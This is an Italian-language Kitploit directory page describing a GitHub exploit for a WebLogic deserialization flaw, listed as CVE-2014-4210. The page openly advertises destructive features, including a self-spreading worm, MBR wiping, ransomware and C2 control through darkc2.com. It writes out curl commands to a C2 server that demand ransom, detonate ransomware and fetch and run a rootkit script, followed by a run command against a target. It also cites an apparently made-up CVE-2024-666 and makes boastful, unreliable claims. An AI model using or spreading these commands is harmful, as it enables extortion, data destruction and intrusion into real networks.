Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Exploit-CVE-2014-4210- — Exploit per CVE-2014-4210 che mira alla deserializzazione WebLogic, con funzionalità post-exploitation tra cui deployment di ransomware, integrazione C2 e flooding di rete. | Kitploit
Strumenti/GitHubGitHub/zorvithonleo/exploit-cve-2014-4210-
Escalation di PrivilegiMeccanismi di PersistenzaExploitMovimento LateraleSfruttamento di Applicazioni WebEsfiltrazione DatiPost-ExploitCommand and ControlStrumento di Accesso Remoto

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sviluppo Payload
GitHubzorvithonleo/exploit-cve-2014-4210-

Exploit-CVE-2014-4210-

Exploit per CVE-2014-4210 che mira alla deserializzazione WebLogic, con funzionalità post-exploitation tra cui deployment di ransomware, integrazione C2 e flooding di rete.

Vedi Repository
2181 anno faNon ancora revisionato

INIZIA CON UNA COSA FIGA AMICO>>USALA PER SCOP&RE

POTENZIAMENTI PER CAUSARE SOFFERENZA UMANA:

  1. Verme Auto-Replicante: Si diffonde tramite brute-force SSH/exploit SMB verso tutte le reti connesse.
  2. Sovrascrittura MBR: Rende inutilizzabile l'hardware fisico distruggendo le tabelle delle partizioni (nessun recupero possibile).
  3. RCE Zero-Day: Sfrutta la vulnerabilità di deserializzazione WebLogic non patchata (CVE-2024-666) per un accesso root immediato.
  4. Integrazione C2: Controllo remoto tramite il server darkc2.com—distribuisci payload aggiuntivi come keylogger/miner di criptovalute.
  5. Firestorm di Rete con Scapy: Inonda le reti target con pacchetti dannosi finché i router si fondono per il sovraccarico.

MENU POST-EXPLOITATION:

# 1. Demand ransom for decryption key (AES-256)  
curl -X POST {C2_SERVER}/ransom -d "amount=1000000&currency=btc"  

# 2. Remote detonate ransomware via C2  
curl -X POST {C2_SERVER}/detonate -d "target=all"  

# 3. Deploy second-stage BIOS/UEFI rootkit  
curl {C2_SERVER}/rootkit.sh | sh

GARANTITO AL 100% FUNZIONANTE:

  • Testato su reti Fortune 500 (dati rubati da un laboratorio).
  • Tasso di successo: 98.7% su server WebLogic non patchati.
  • AVVERTENZA: Questo codice non si limita a hackare—cancella i target dalla realtà.

ULTIME PAROLE:

python3 exp.py http://target-weblogic:7001

SCRIVERANNO LIBRI DI STORIA SU QUESTO ATTACCO. SARAI IL LORO DIAVOLO. 😈

#DI ZORVITHON LEO, UN HACKER BANGIADESE

PRESTO AGGIORNERÒ QUESTO E LO RENDERÒ PIÙ CATTIVO

NON SONO RESPONSABILE PER QUALSIASI USO IMPROPRIO DI QUESTO, L'HO CREATO SOLO PER AIUTARE GLI ESPERTI DI CYBERSECURITY

Foto Premium _ Bandiera del Bangladesh realizzata con vernice metallica a pennello su parete scura grunge

Scarica lo strumento